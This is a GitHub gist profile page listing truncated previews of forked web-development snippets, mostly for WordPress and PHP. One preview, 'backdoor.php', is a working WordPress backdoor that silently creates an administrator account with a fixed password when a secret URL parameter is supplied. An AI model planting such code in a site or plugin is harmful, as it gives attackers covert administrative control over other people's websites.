Skip to content

Instantly share code, notes, and snippets.

View Archie22is's full-sized avatar
💭
I may be slow to respond.

ᴀʀᴄʜɪᴇ ᴍᴀᴋᴜᴡᴀ™ Archie22is

💭
I may be slow to respond.
View GitHub Profile
@Archie22is
Archie22is / contact.php
Created August 10, 2017 11:18 — forked from libryder/contact.php
Super simple PHP contact form in one file
<html>
<head>
<title>Contact Us</title>
</head>
<body>
<?php
if ($_POST['message']) {
$message = $_POST['message'];
@Archie22is
Archie22is / get-video-thumbnail.php
Created March 17, 2017 11:30 — forked from secretstache/get-video-thumbnail.php
Get Video Thumbnail from Youtube or Vimeo
<?php
/**
* Retrieves the thumbnail from a youtube or vimeo video
* @param - $src: the url of the "player"
* @return - string
* @todo - do some real world testing.
*
**/
function get_video_thumbnail( $src ) {
@Archie22is
Archie22is / wp_cleanup.php
Created March 14, 2017 09:48 — forked from sirtimid/wp_cleanup.php
Cleanup wordpress of unwanted dashboard widgets and injected styles
<?php
// filter to remove TinyMCE emojis
if ( !function_exists( 'disable_emojicons_tinymce' ) ) {
function disable_emojicons_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
}
@Archie22is
Archie22is / redirect-wp-post.php
Created February 7, 2017 07:45 — forked from Bobz-zg/redirect-wp-post.php
Redirects wordpress posts to new url: site.com/blog/post-name
<?php
/**
* Add new rewrite rule
*/
function create_new_url_querystring() {
add_rewrite_rule(
'blog/([^/]*)$',
'index.php?name=$matches[1]',
'top'
);
@Archie22is
Archie22is / readme.md
Created January 5, 2017 09:49 — forked from bradyvercher/readme.md
Configure WordPress to send email through an SMTP server.

WordPress SMTP Configuration

Usage

  1. Install and activate the smtp-config.php file as a plugin or drop it in /mu-plugins.
  2. Define the necessary constants in wp-config.php.

Configuration Examples

MailHog

@Archie22is
Archie22is / mass_reset_wordpress_passwords
Created January 5, 2017 06:42 — forked from samhagin/mass_reset_wordpress_passwords
Mass Reset WordPress Passwords
#!/bin/bash
# Get all users from the database
users=$(mysql -u <user> -p<password> <dbname> -Bse "select user_login from wp_users")
# put the users in an array
array=( $users )
# for loop to set a random password, get the users email address, reset the password and send an email with the new password
for user in "${array[@]}"
@Archie22is
Archie22is / gist:765014fd3339a855e944f390764f639c
Created November 8, 2016 07:21 — forked from betweenbrain/gist:5405671
Use cURL and SimpleXML to retrieve and parse Wordpress RSS feed
<?php
$curl = curl_init();
curl_setopt_array($curl, Array(
CURLOPT_URL => 'http://blogs.guggenheim.org/map/feed/',
CURLOPT_USERAGENT => 'spider',
CURLOPT_TIMEOUT => 120,
CURLOPT_CONNECTTIMEOUT => 30,
CURLOPT_RETURNTRANSFER => TRUE,
@Archie22is
Archie22is / backdoor.php
Created October 28, 2016 12:23 — forked from jgalea/backdoor.php
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@Archie22is
Archie22is / gist:84b6b01af7389a042c441dfd850285bd
Created October 6, 2016 14:43 — forked from murgatroydj/external-link-new-tab.js
Jquery snippet to add target="_blank" to all external links in a documen and force PDFs to open in a new window/tab as well. Replace mydomainname with yours to skip internal links.
<script type="text/javascript">/*<![CDATA[*/
$(document).ready(function(){
// external links to new window
$('a[href^="http://"]').not('a[href*=mydomainname]').attr('target','_blank');
// force PDF Files to open in new window
$('a[href$=".pdf"]').attr('target', '_blank');
@Archie22is
Archie22is / gallery-style.css
Created September 18, 2016 13:19 — forked from cramdesign/gallery-style.css
WordPress 3.9 ships with the ability to add HTML5 support for galleries which will now use figure and figcaption to display images. This is a huge change for the better! Bonus: br tag used for clearing rows has been cleaned out as well. While all of this is good news for more semantic markup, one might now be left wondering how to style the new …